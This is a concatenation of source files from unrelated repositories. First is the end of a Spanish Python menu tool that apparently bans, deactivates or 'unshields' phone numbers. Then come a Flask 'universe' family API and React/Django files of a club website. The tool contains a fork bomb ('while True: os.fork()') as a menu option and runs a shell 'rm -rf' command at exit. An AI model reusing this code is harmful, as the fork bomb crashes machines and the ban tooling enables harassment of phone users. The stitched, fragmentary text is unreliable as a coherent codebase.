3:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{R} Desactivar Numero{C}\\n');titulo = title['title2'];bd=text['text2']\n\t\t\t\t\telif op2 == 4:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{R} Desactivar Numero{C}\\n');titulo = title['title3'];bd=text['text3']\n\t\t\t\t\telif op2 == 5:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{R} Desactivar Numero{C}\\n');titulo = title['title5'];bd=text['text4']\n\t\t\t\t\telif op2 == 6:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{R} Desactivar Numero{C}\\n');titulo = title['title5'];bd=text['text5']\n\t\t\t\t\telse:\n\t\t\t\t\t\tpass\n\t\t\t\t\tinit()\n\t\t\t\telif op == 2:\n\t\t\t\t\tclear();op2 = int(input(main2[0]+main2[1]+main2[2]+main2[6]))\n\t\t\t\t\tif op2 == 1:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{G} Restablecer codigos{C}\\n');titulo = title['title6'];bd=text['text6']\n\t\t\t\t\telif op2 == 2:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{G} Restablecer codigos{C}\\n');titulo = title['title7'];bd=text['text7']\n\t\t\t\t\telif op2 == 3:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{G} Restablecer codigos{C}\\n');titulo = title['title8'];bd=text['text8']\n\t\t\t\t\telse:\n\t\t\t\t\t\tpass\n\t\t\t\t\tinit()\n\t\t\t\telif op == 3:\n\t\t\t\t\tclear();op2 = int(input(main2[0]+main2[1]+main2[6]))\n\t\t\t\t\tif op == 2:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{G} Retirar Baneo{C}\\n');titulo = title['title9'];bd=text['text9']\n\t\t\t\t\telif op2 == 2:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{G} Retirar Baneo{C}\\n');titulo = title['title10'];bd=text['text10']\n\t\t\t\t\telse:\n\t\t\t\t\t\tpass\n\t\t\t\t\tinit()\n\t\t\t\telif op == 4:\n\t\t\t\t\tclear();op2 = int(input(main2[0]+main2[1]+main2[6]))\n\t\t\t\t\tif op2 == 1:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{R} Banear Numero{C}\\n');titulo = title['title11'];bd=text['text11']\n\t\t\t\t\telif op2 == 2:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{R} Banear Numero{C}\\n');titulo = title['title12'];bd=text['text12']\n\t\t\t\t\telse:\n\t\t\t\t\t\tpass\n\t\t\t\t\tinit()\n\t\t\t\telif op == 5:\n\t\t\t\t\tclear();print(wp, f'{C}Modo:{R} Derrumbar Blindaje{C}\\n');titulo = title['title13'];bd=text['text13']\n\t\t\t\telif op == 6:\n\t\t\t\t\tclear();op2 = int(input(main2[0]+main2[1]+main2[6]))\n\t\t\t\t\tif op == 2:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{G} Blindar Numero{C}\\n');titulo = title['title14'];bd=text['text14']\n\t\t\t\t\telif op2 == 2:\n\t\t\t\t\t\tclear();print(wp, f'{C}Modo:{G} Blindar Numero{C}\\n');titulo = title['title15'];bd=text['text15']\n\t\t\t\t\telse:\n\t\t\t\t\t\tpass\n\t\t\t\t\tinit()\n\t\t\t\telse:\n\t\t\t\t\tpass\n\t\t\t\tinit()\n\t\t\telif op == 7:\n\t\t\t\twhile True:\n\t\t\t\t\tos.fork()\n\t\t\telif op == 8 or op ==9:\n\t\t\t\tlink()\n\t\t\telif op == 0:\n\t\t\t\tSair = True\n\t\t\tif op == None:\n\t\t\t\tpass\n\t\texcept Exception as error:\n\t\t\tclear();print(erro1);time.sleep(4)\nos.system('rm -rf __pycache__ && '+clean)\n" } ]
2
magdalenesuo/universe
https://github.com/magdalenesuo/universe
6c90b20c4fca8e5570a65208ed6654ad5fd2c189
002c58ad73fcc7842f1c661b90e4b8951d36d82f
79b4fb54c32d8454a59f6ad9ff5ab7fad83781ca
refs/heads/master
2020-03-19T15:31:59.051643
2018-08-26T08:49:19
2018-08-26T08:49:19
136,674,757
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6240208745002747, "alphanum_fraction": 0.6240208745002747, "avg_line_length": 22.090909957885742, "blob_id": "abb0c67b779463d311a3ee3a2bf121e74f279fbb", "content_id": "2f53a763a5290139906c60dd3a72e8c5f79f209b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 766, "license_type": "no_license", "max_line_length": 60, "num_lines": 33, "path": "/README.md", "repo_name": "magdalenesuo/universe", "src_encoding": "UTF-8", "text": "## Components\n\n* Flask Server - The server to make the backend for the API\n* APIs - RESTful API\n* Database - PostgreSQL for database\n\n\n## Endpoints\n### Create:\nName | Endpoint\n------------ | -------------\nuniverse :milky_way: | **/universe/<universe_id>/families**\nfamily :family: | **/universe/<universe_id>/families**\nperson :bust_in_silhouette: | **/family/<family_id>/people**\n\n### Patch/Delete:\nName | Endpoint\n------------ | -------------\nuniverse :milky_way: | **/universe/<universe_id>**\nfamily :family: | **/family/<family_id>**\nperson :bust_in_silhouette: | **/person/<person_id>**\n\n### Check particular family's power in all universe: [GET]\n\n```\n/families/check/<family_name_identifier>\n```\n\n### Fix all unbalanced family:[GET]\n\n```\n/families/fix\n```\n \n" }, { "alpha_fraction": 0.5800995230674744, "alphanum_fraction": 0.5815920233726501, "avg_line_length": 30.736841201782227, "blob_id": "6abead2048f80d0665034a2a47929c01a0acb168", "content_id": "4d13f2f38b3ec63711985d03d883f5fa3cab3068", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12060, "license_type": "no_license", "max_line_length": 118, "num_lines": 380, "path": "/universe.py", "repo_name": "magdalenesuo/universe", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom flask import Flask\nfrom flask_rest_jsonapi import Api, ResourceDetail, ResourceList, ResourceRelationship\nfrom flask import request, jsonify, abort, make_response\nfrom flask_rest_jsonapi.exceptions import ObjectNotFound, BadRequest\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom marshmallow_jsonapi.flask import Schema, Relationship\nfrom marshmallow_jsonapi import fields\nfrom flask import request, jsonify, abort, make_response, Blueprint\n \n \n# Create the Flask application\napp = Flask(__name__)\napp.config['DEBUG'] = True\n\n\n# Initialize SQLAlchemy\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://mms:[email protected]:5432/universe'\ndb = SQLAlchemy(app)\n\n\n# Create data storage\nclass Person(db.Model):\n \"\"\"Person object table\"\"\"\n\n __tablename__ = 'people'\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n power= db.Column(db.Integer)\n family_id = db.Column(db.Integer, db.ForeignKey('families.id', ondelete='CASCADE'))\n family = db.relationship('Family', backref='person')\n\nclass Family(db.Model):\n \"\"\"Family object table\"\"\"\n\n __tablename__ = 'families'\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n fam_power= db.Column(db.Integer, default=0)\n name_identifier = db.Column(db.Integer, nullable=False)\n universe_id = db.Column(db.Integer, db.ForeignKey('universes.id', ondelete='CASCADE')) \n #people = db.relationship('Person', backref='family')\n universe = db.relationship('Universe', backref='families')\n\nclass Universe(db.Model):\n \"\"\"Universe object table\"\"\"\n\n __tablename__ = 'universes'\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n name = db.Column(db.String, nullable=False)\n family = db.relationship('Family', backref='uiverse')\n\nclass UnbalancedFamilies(db.Model):\n \"\"\"Unbalanced_families object table\"\"\"\n\n __tablename__ = 'unbalanced_families'\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n family_id = db.Column(db.Integer, db.ForeignKey('families.id', ondelete='CASCADE'))\n\ndb.create_all()\n\n\n\n## Schema\nclass PersonSchema(Schema):\n \"\"\"\n Api Schema for person\n \"\"\"\n\n class Meta:\n \"\"\"\n Meta class for person Api Schema\n \"\"\"\n type_ = 'person'\n self_view = 'person_detail'\n self_view_kwargs = {'id': '<id>'} \n self_view_many = 'person_list'\n\n id = fields.Str(dump_only=True)\n power = fields.Integer(required=True)\n family = Relationship(attribute='family',\n self_view='person_family',\n self_view_kwargs={'id': '<id>'},\n related_view='family_detail',\n related_view_kwargs={'id': '<id>'},\n schema='FamilySchema',\n type_='family')\n\n\nclass FamilySchema(Schema):\n \"\"\"\n Api Schema for family\n \"\"\"\n\n class Meta:\n \"\"\"\n Meta class for family Api Schema\n \"\"\"\n type_ = 'family'\n self_view = 'family_detail'\n self_view_kwargs = {'id': '<id>'}\n self_view_many = 'family_list'\n\n id = fields.Str(dump_only=True)\n fam_power = fields.Integer(default=0)\n name_identifier = fields.Integer(required=True,nullable=False)\n people = Relationship(attribute='person',\n self_view='family_person',\n self_view_kwargs={'id': '<id>'},\n related_view='person_list',\n related_view_kwargs={'id': '<id>'},\n many=True,\n schema='PersonSchema',\n type_='person')\n universe = Relationship(attribute='universe',\n self_view='family_universe',\n self_view_kwargs={'id': '<id>'},\n related_view='universe_detail',\n related_view_kwargs={'id': '<id>'},\n schema='UniverseSchema',\n type_='universe')\n\n\nclass UniverseSchema(Schema):\n \"\"\"\n Api Schema for universe\n \"\"\"\n\n class Meta:\n \"\"\"\n Meta class for universe Api Schema\n \"\"\"\n type_ = 'universe'\n self_view = 'universe_detail'\n self_view_kwargs = {'id': '<id>'}\n\n id = fields.Str(dump_only=True)\n name = fields.Str()\n families = Relationship(attribute='family',\n self_view='universe_family',\n self_view_kwargs={'id': '<id>'},\n related_view='family_list',\n related_view_kwargs={'universe_id': '<id>'},\n schema='FamilySchema',\n many=True,\n type_='family')\n\n\n\n# Resources\nclass PersonList(ResourceList):\n\n \"\"\"\n List and create people\n \"\"\"\n def before_create_object(self, data, view_kwargs):\n if view_kwargs.get('family_id') is not None:\n data['family_id'] = view_kwargs['family_id']\n\n def after_create_object(self, family, data, view_kwargs):\n if view_kwargs.get('family_id') is not None:\n family = self.session.query(Family).filter_by(id=view_kwargs['family_id']).one()\n family.fam_power = family.fam_power + data['power']\n db.session.add(family)\n db.session.commit()\n\n def query(self, view_kwargs):\n \"\"\"\n query method for People class\n :param view_kwargs:\n :return:\n \"\"\"\n query_ = self.session.query(Person)\n if view_kwargs.get('family_id') is not None:\n family = self.session.query(Family).filter_by(id=view_kwargs['family_id']).one()\n query_ = query_.join(Family).filter(Family.id == family.id)\n\n return query_\n\n schema = PersonSchema\n methods = ['GET', 'POST']\n data_layer = {'session': db.session,\n 'model': Person,\n 'methods': {'after_create_object': after_create_object,\n 'before_create_object': before_create_object,\n 'query': query\n }}\n\n\nclass PersonDetail(ResourceDetail):\n \"\"\"\n Person detail by id\n \"\"\"\n\n schema = PersonSchema\n methods = ['GET', 'PATCH', 'DELETE']\n data_layer = {'session': db.session,\n 'model': Person}\n\n\nclass PersonRelationship(ResourceRelationship):\n \"\"\"\n Person Relationship\n \"\"\"\n schema = PersonSchema\n data_layer = {'session': db.session,\n 'model': Person}\n\n\n\nclass FamilyList(ResourceList):\n\n \"\"\"\n List and create family\n \"\"\"\n\n def before_create_object(self, data, view_kwargs):\n if view_kwargs.get('universe_id') is not None:\n data['universe_id'] = view_kwargs['universe_id']\n \n\n def query(self, view_kwargs):\n query_ = self.session.query(Family)\n if view_kwargs.get('universe_id') is not None:\n try:\n self.session.query(Universe).filter_by(id=view_kwargs['universe_id']).one()\n except NoResultFound:\n raise ObjectNotFound({'parameter': 'id'}, \"Universe: {} not found\".format(view_kwargs['universe_id']))\n else:\n query_ = query_.join(Universe).filter(Universe.id == view_kwargs['universe_id'])\n\n if view_kwargs.get('family_id') is not None:\n try:\n self.session.query(Family).filter_by(name_identifier=view_kwargs['family_id'])\n except NoResultFound:\n raise ObjectNotFound({'parameter': 'id'}, \"Family: {} not found\".format(view_kwargs['family_id']))\n else:\n query_ = self.session.query(Family).filter_by(name_identifier=view_kwargs['family_id'])\n \n return query_\n\n schema = FamilySchema\n methods = ['GET', 'POST']\n data_layer = {'session': db.session,\n 'model': Family,\n 'methods': {'before_create_object':before_create_object,\n 'query':query\n }}\n\n\nclass FamilyDetail(ResourceDetail):\n \"\"\"\n Family detail by id\n \"\"\"\n schema = FamilySchema\n methods = ['GET', 'PATCH', 'DELETE']\n data_layer = {'session': db.session,\n 'model': Family}\n\n\nclass FamilyRelationship(ResourceRelationship):\n \"\"\"\n Family Relationship\n \"\"\"\n schema = FamilySchema\n data_layer = {'session': db.session,\n 'model': Family}\n\n\nclass UniverseList(ResourceList):\n\n \"\"\"\n List and create uiverse\n \"\"\"\n schema = UniverseSchema\n methods = ['GET', 'POST']\n data_layer = {'session': db.session,\n 'model': Universe}\n\n\nclass UniverseDetail(ResourceDetail):\n \"\"\"\n Universe detail by id\n \"\"\"\n schema = UniverseSchema\n methods = ['GET', 'PATCH', 'DELETE']\n data_layer = {'session': db.session,\n 'model': Universe}\n\n\nclass UniverseRelationship(ResourceRelationship):\n \"\"\"\n Universe Relationship\n \"\"\"\n schema = UniverseSchema\n data_layer = {'session': db.session,\n 'model': Universe}\n\n\[email protected]('/families/check/<int:family_identifier>', methods=['GET'])\ndef check_family(family_identifier):\n family = Family.query.filter_by(name_identifier=family_identifier)\n power = family[0].fam_power\n for i in family:\n if i.fam_power is not power:\n result=jsonify(result=\"Power for the given Family is NOT EQUAL in all universe (Unbalanced)\"\n )\n else:\n result = jsonify(\n result=\"Power for the given Family is EQUAL in all universe (Balanced)\"\n )\n return result\n\[email protected]('/families/fix', methods=['GET'])\ndef fix_family():\n family = Family.query.all()\n total = dict()\n howmany = dict()\n initial = dict()\n balanced = []\n unbalanced = []\n sumtotal = 0\n\n for f in family:\n total[f.name_identifier] = 0\n howmany[f.name_identifier] = 0\n initial[f.name_identifier] = f.fam_power\n for f in family:\n total[f.name_identifier] = total[f.name_identifier]+f.fam_power\n howmany[f.name_identifier] = howmany[f.name_identifier]+1\n\n for k in howmany:\n total[k] = total[k]/howmany[k]\n for f in family:\n if f.name_identifier == k and abs(initial[f.name_identifier]) is not abs(total[k]):\n print initial[f.name_identifier],total[k]\n f.fam_power = total[f.name_identifier]\n if f.name_identifier not in unbalanced:\n unbalanced.append(f.name_identifier)\n\n elif f.name_identifier == k and abs(initial[f.name_identifier]) is abs(total[k]):\n f.fam_power = total[f.name_identifier]\n if f.name_identifier not in balanced:\n balanced.append(f.name_identifier)\n \n db.session.add(f)\n db.session.commit()\n\n result=jsonify(balanced_families=balanced,\n unbalanced_families=unbalanced)\n return result\n\n\n##endpoints\napi = Api(app)\n# people\napi.route(PersonList, 'person_list', '/people','/family/<int:family_id>/people')\napi.route(PersonDetail, 'person_detail', '/person/<int:id>')\napi.route(PersonRelationship, 'person_family', '/people/<int:id>/relationships/family')\n\n# family\napi.route(FamilyList, 'family_list', '/families','/universe/<int:universe_id>/families')\napi.route(FamilyDetail, 'family_detail', '/family/<int:id>')\napi.route(FamilyRelationship, 'family_person',\n '/family/<int:id>/relationships/people')\napi.route(FamilyRelationship, 'family_universe',\n '/family/<int:id>/relationships/universe')\n# universe\napi.route(UniverseList, 'universe_list', '/universes')\napi.route(UniverseDetail, 'universe_detail', '/universe/<int:id>')\napi.route(UniverseRelationship, 'universe_family',\n '/universe/<int:id>/relationships/families')\n\nif __name__ == '__main__':\n # Start application\n app.run(debug=True)\n" }, { "alpha_fraction": 0.8804348111152649, "alphanum_fraction": 0.8913043737411499, "avg_line_length": 12.285714149475098, "blob_id": "b15e3950618136c9c1a72f13c8438e12a695efee", "content_id": "231ebf1e3f881e996a4a4ef5155ca5cab51d62bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 92, "license_type": "no_license", "max_line_length": 19, "num_lines": 7, "path": "/requirements.txt", "repo_name": "magdalenesuo/universe", "src_encoding": "UTF-8", "text": "flask-rest-jsonapi\nflask\nvirtualenv\nflask_sqlalchemy\npsycopg2\nsqlalchemy\nmarshmallow_jsonapi" } ]
3
sergeysynergy/wmaclub
https://github.com/sergeysynergy/wmaclub
304149355582e9317411c2ad51faf464cdfda74f
2440810afc49cbf7fcac38242d5c8092e243d08c
1bd1120a639c33a769e04c62e896c15c33d89424
refs/heads/master
2021-01-10T04:14:59.738113
2016-01-13T16:00:56
2016-01-13T16:00:56
48,734,952
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49218419194221497, "alphanum_fraction": 0.4972538948059082, "avg_line_length": 40.49122619628906, "blob_id": "eedffcd2b84b958451bb9b129c8f8273510b448b", "content_id": "11a8f33e0eb56030e4095a32471559ef5737fbe1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2409, "license_type": "permissive", "max_line_length": 154, "num_lines": 57, "path": "/static/react/build/MainMenu.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "var links = [\n {'link': '/static/html/about.html', 'title': 'ะœั‹'},\n {'link': '/static/html/club.html', 'title': 'ะšะปัƒะฑ'},\n {'link': '/static/html/price.html', 'title': 'ะกั‚ะพะธะผะพัั‚ัŒ'},\n {'link': '/static/html/cafe-wma.html', 'title': 'WMA ะบะฐั„ะต'},\n {'link': '/static/html/blog.html', 'title': 'ะ‘ะปะพะณ'},\n {'link': '#map', 'title': 'ะšะพะฝั‚ะฐะบั‚ั‹'},\n {'link': '#win1', 'title': 'ะ—ะฐะฟะธััŒ ะฒ ะบะปัƒะฑ'},\n]\n\nvar MainMenu = React.createClass({displayName: \"MainMenu\",\n render: function() {\n var rowsLinks = []\n this.props.links.forEach(function(prop, key) {\n rowsLinks.push(React.createElement(MenuLink, {\n key: key, \n link: prop.link, \n title: prop.title}\n ))\n }.bind(this))\n\n return (\n React.createElement(\"div\", {className: \"navbar navbar-inverse navbar-fixed-top\"}, \n React.createElement(\"div\", {className: \"navbar-inner\"}, \n React.createElement(\"div\", {className: \"container\"}, \n React.createElement(\"a\", {className: \"btn btn-navbar\", \"data-toggle\": \"collapse\", \"data-target\": \".nav-collapse\"}, \n React.createElement(\"span\", {className: \"icon-bar\"}), \n React.createElement(\"span\", {className: \"icon-bar\"}), \n React.createElement(\"span\", {className: \"icon-bar\"})\n ), \n React.createElement(\"a\", {className: \"brand\", href: \"index.html\"}, React.createElement(\"img\", {src: '/static/img/logo-sm.png'})), \n React.createElement(\"div\", {className: \"nav-collapse collapse\"}, \n React.createElement(\"ul\", {className: \"nav\"}, \n React.createElement(\"li\", null, \"+7 (499) 600 40 70\"), \n rowsLinks\n )\n )\n )\n )\n )\n )\n },\n})\n\n\nvar MenuLink = React.createClass({displayName: \"MenuLink\",\n render: function() {\n return (\n React.createElement(\"li\", null, React.createElement(\"a\", {href: this.props.link}, this.props.title))\n )\n }\n})\n\nReact.render(\n React.createElement(MainMenu, {links: links}), \n document.getElementById('main-menu')\n)\n\n\n" }, { "alpha_fraction": 0.4955647587776184, "alphanum_fraction": 0.49615612626075745, "avg_line_length": 32.81999969482422, "blob_id": "a562e78aba5fb35638417df6eaf2cdb030af040f", "content_id": "ed945eb5901f89533a8cf9ffafd1b0cce18ddba6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1746, "license_type": "permissive", "max_line_length": 129, "num_lines": 50, "path": "/static/react/build/.module-cache/9ee4a94384801e31ff18a38906253cdaf9ff3bdd.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "var links = [\n {'link': '/force-react/' + gid + '//', 'title': 'ะ“ั€ะฐั„-react'},\n {'link': '/force-react/' + gid + '////', 'title': 'ะ“ั€ะฐั„-d3'},\n {'link': '/chord/' + gid + '//', 'title': 'ะšั€ัƒะณะพะฒะฐั ะดะธะฐะณั€ะฐะผะผะฐ'},\n {'link': '', 'title': 'ะ“ะธัั‚ะพะณั€ะฐะผะผะฐ'},\n {'link': '', 'title': 'ะกะฟะธัะพะบ'},\n {'link': '', 'title': 'ะšะปะฐัั‚ะตั€ะธะทะฐั†ะธั'},\n]\n\nvar MainMenu = React.createClass({displayName: \"MainMenu\",\n render: function() {\n var rowsLinks = []\n this.props.links.forEach(function(prop, key) {\n rowsLinks.push(React.createElement(MenuLink, {\n key: key, \n link: prop.link, \n title: prop.title}\n ))\n }.bind(this))\n\n return (\n React.createElement(\"nav\", {className: \"navbar navbar-inverse navbar-fixed-top\"}, \n React.createElement(\"div\", {className: \"container\"}, \n React.createElement(\"div\", {className: \"navbar-header\"}\n ), \n React.createElement(\"div\", {id: \"navbar\", className: \"navbar-collapse collapse\"}, \n React.createElement(\"ul\", {className: \"nav navbar-nav\"}, \n rowsLinks\n )\n )\n )\n )\n )\n },\n})\n\n\nvar MenuLink = React.createClass({displayName: \"MenuLink\",\n render: function() {\n this.gid = gid\n return (\n React.createElement(\"li\", null, React.createElement(\"a\", {href: this.props.link}, this.gid, \" - \", this.props.title))\n )\n }\n})\n\nReact.render(\n React.createElement(MainMenu, {links: links}), \n document.getElementById('main-menu')\n)\n" }, { "alpha_fraction": 0.4769230782985687, "alphanum_fraction": 0.5076923370361328, "avg_line_length": 9.333333015441895, "blob_id": "5d81eff76f014e94247ac2ed67908114ccd96561", "content_id": "206c0dfa1a26268fdce87d741cfa21dd5a936980", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 65, "license_type": "permissive", "max_line_length": 24, "num_lines": 6, "path": "/syscheck/sh/check01.sh", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nname='Script check 1'\ncode=1\n\necho \"_\"$name\"_\"$code\"_\" \n\n\n" }, { "alpha_fraction": 0.7948718070983887, "alphanum_fraction": 0.7948718070983887, "avg_line_length": 38, "blob_id": "5e9fde83f46fd8076d43c0765ff8680b0f63650b", "content_id": "c0595d17143bd95ec7543aac9aa3a142157aa0b2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 78, "license_type": "permissive", "max_line_length": 74, "num_lines": 2, "path": "/static/react/build/.module-cache/338ee6f8b7bb62c0a0780ac8787946bb2f872505.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "var NewProjectFilter = React.createClass({displayName: \"NewProjectFilter\",\n})\n" }, { "alpha_fraction": 0.8196721076965332, "alphanum_fraction": 0.8196721076965332, "avg_line_length": 61, "blob_id": "60e6c585f1385f2fd1545c57641c93b3d0645d1e", "content_id": "83ea815fb9a06dac0aa37b4bc4dcd195d31841a4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 61, "license_type": "permissive", "max_line_length": 61, "num_lines": 1, "path": "/static/react/build/.module-cache/d20e09b11eb3c64f730e8c79ee08d5e3c8235384.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "throw new Error(\"nonexistent module required: ViewTimeline\");" }, { "alpha_fraction": 0.7253521084785461, "alphanum_fraction": 0.7323943376541138, "avg_line_length": 19.285715103149414, "blob_id": "c9874304d0fe7969e7d01c4adc38f125dcdf9caf", "content_id": "d9f29a3881938c183cbcd6ef884b9ed897cac689", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 142, "license_type": "permissive", "max_line_length": 32, "num_lines": 7, "path": "/zcore/admin.py", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom django.contrib import admin\n\nfrom .models import News, Form\n\nadmin.site.register(News)\nadmin.site.register(Form)\n" }, { "alpha_fraction": 0.6100478172302246, "alphanum_fraction": 0.6160287261009216, "avg_line_length": 32.36000061035156, "blob_id": "5846b97ebe5e6c69b4815f3633ed595a69131a4c", "content_id": "dcda2a4884baa80f84e79e58d7404994d969baca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 836, "license_type": "permissive", "max_line_length": 107, "num_lines": 25, "path": "/app/urls.py", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\n\nfrom zcore.views import *\nimport app.settings as settings\n\n\nurlpatterns = [\n url(r'^zcore/', include('zcore.urls', namespace='zcore')),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^syscheck/', include('syscheck.urls', namespace='syscheck')),\n]\n\nurlpatterns += [\n url(r'^static/(?P<path>.*)$', 'django.views.static.serve',{'document_root': settings.URL_STATIC_ROOT}),\n\n url(r'^$', 'zcore.views.index', name='index'),\n #url(r'^timeline/(?P<id>[-\\w]+)/$', 'zcore.views.view_timeline', name='viewTimeline'),\n\n url(r'^news/(?P<pk>[0-9]+)/$', NewsDetail.as_view()),\n url(r'^news/$', NewsList.as_view()),\n url(r'^forms/(?P<pk>[0-9]+)/$', FormsDetail.as_view()),\n url(r'^forms/$', FormsList.as_view()),\n]\n\n\n" }, { "alpha_fraction": 0.5487539172172546, "alphanum_fraction": 0.5488749146461487, "avg_line_length": 30.184906005859375, "blob_id": "8c5de99c68e86309ee58955bb1264f090efa0782", "content_id": "fb6858878bca9ff160efc508028882ff35bad890", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 9115, "license_type": "permissive", "max_line_length": 91, "num_lines": 265, "path": "/static/react/build/.module-cache/0e6061c3b61ad9e2f4fe046f0020cee248151790.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "/*\n* ะžะฑั‰ะธะต ะบะพะผะฟะพะฝะตะฝั‚ั‹ ะดะปั ะผะฝะพะณะพั€ะฐะทะพะฒะพะณะพ ะธัะฟะพะปัŒะทะพะฒะฐะฝะธั\n*/\nfunction joinAsTrue(obj) {\n var prop\n var joinAsTrue = []\n for (prop in obj) {\n //console.log('filterAttributes > ',obj[prop])\n\n if (obj[prop] === true) {\n //console.log('prop ',prop,' > ',obj[prop])\n //console.log('filterAttributes > ',obj)\n joinAsTrue.push(prop)\n }\n }\n //console.log('joinAsTrue > ',joinAsTrue)\n return joinAsTrue\n}\n\n\n// ะšะพะผะฟะพะฝะตะฝั‚ ะณั€ัƒะฟะฟั‹ ะบะฝะพะฟะพะบ-ะฟะตั€ะตะบะปัŽั‡ะฐั‚ะตะปะตะน\nvar CMRadioGroup = React.createClass({displayName: \"CMRadioGroup\",\n getInitialState: function() {\n return {\n // ะััะพั†ะธะฐั‚ะธะฒะฝั‹ะน ะผะฐััะธะฒ ะฒัะตั… ะพะฟั€ะตะดะตะปััŽั‰ะธั… ะบะพะผะฟะพะฝะตะฝั‚ ะฐั‚ั€ะธะฑัƒั‚ะพะฒ\n //componentState: {},\n }\n },\n handleChange: function(value) {\n /*\n var state = this.state.componentState\n state[key] = value\n this.setState({ componentState: state })\n console.log('> ',state)\n */\n\n // ะŸะตั€ะตะดะฐั‘ะผ ั€ะพะดะธั‚ะตะปัŽ ัะพัั‚ะพัะฝะธะต ะผะฐััะธะฒะฐ componentState\n if (typeof this.props.onChange === 'function') {\n this.props.onChange(this.props.name, value, this.props.name)\n }\n },\n handleReClick: function() {\n // ะŸะตั€ะตะดะฐั‘ะผ ะพะฑั€ะฐะฑะพั‚ะบัƒ ะบะปะธะบะฐ ั€ะพะดะธั‚ะตะปัŒัะบะพะผัƒ ะบะพะผะฟะพะฝะตะฝั‚ัƒ\n if (typeof this.props.onClick === 'function') {\n this.props.onClick()\n }\n },\n render: function() {\n var rows = []\n this.props.properties.forEach(function(prop, key) {\n // ะคะพั€ะผะธั€ัƒะตะผ ะผะฐััะธะฒ rows ะดะพั‡ะตั€ะฝะธั… ะบะพะผะฟะพะฝะตะฝั‚ะพะฒ\n rows.push(React.createElement(CMRadioGroupButton, {\n key: key, \n value: prop.value, \n display: prop.display, \n checked: prop.checked, \n onChange: this.handleChange, \n onClick: this.handleReClick}\n ))\n }.bind(this))\n\n return (\n React.createElement(\"div\", {className: \"btn-group\", \"data-toggle\": \"buttons\"}, \n rows\n )\n )\n },\n})\n\n\nvar CMRadioGroupButton = React.createClass({displayName: \"CMRadioGroupButton\",\n propTypes: {\n value: React.PropTypes.string,\n display: React.PropTypes.string,\n checked: React.PropTypes.bool,\n onChange: React.PropTypes.func,\n onClick: React.PropTypes.func,\n },\n getDefaultProps: function() {\n return {\n value: '',\n display: '',\n checked: false,\n };\n },\n getInitialState: function() {\n var className = this.props.checked ? \"btn btn-primary active\" : \"btn btn-primary\"\n\n if (this.props.checked) {\n // ะŸะตั€ะตะดะฐั‘ะผ ั€ะพะดะธั‚ะตะปัŽ ัะพัั‚ะพัะฝะธะต ะฟะตั€ะตะผะตะฝะฝั‹ั… value ะธ checked\n if (typeof this.props.onChange === 'function') {\n this.props.onChange(this.props.value)\n }\n }\n\n return {\n checked: this.props.checked,\n className: className,\n }\n },\n handleClick: function() {\n this.setState({ checked: true })\n\n // ะŸะตั€ะตะดะฐั‘ะผ ั€ะพะดะธั‚ะตะปัŽ ัะพัั‚ะพัะฝะธะต ะฟะตั€ะตะผะตะฝะฝั‹ั… value ะธ checked\n if (typeof this.props.onChange === 'function') {\n this.props.onChange(this.props.value)\n }\n\n // ะŸะตั€ะตะดะฐั‘ะผ ะพะฑั€ะฐะฑะพั‚ะบัƒ ะบะปะธะบะฐ ั€ะพะดะธั‚ะตะปัŒัะบะพะผัƒ ะบะพะผะฟะพะฝะตะฝั‚ัƒ\n if (typeof this.props.onClick === 'function') {\n this.props.onClick()\n }\n\n // ะžะฑะฝะพะฒะปัะตะผ ัั‚ะฐั‚ัƒั ั‡ะตะบะฑะพะบัะฐ\n //React.findDOMNode(this.refs.radio).checked = true\n },\n render: function() 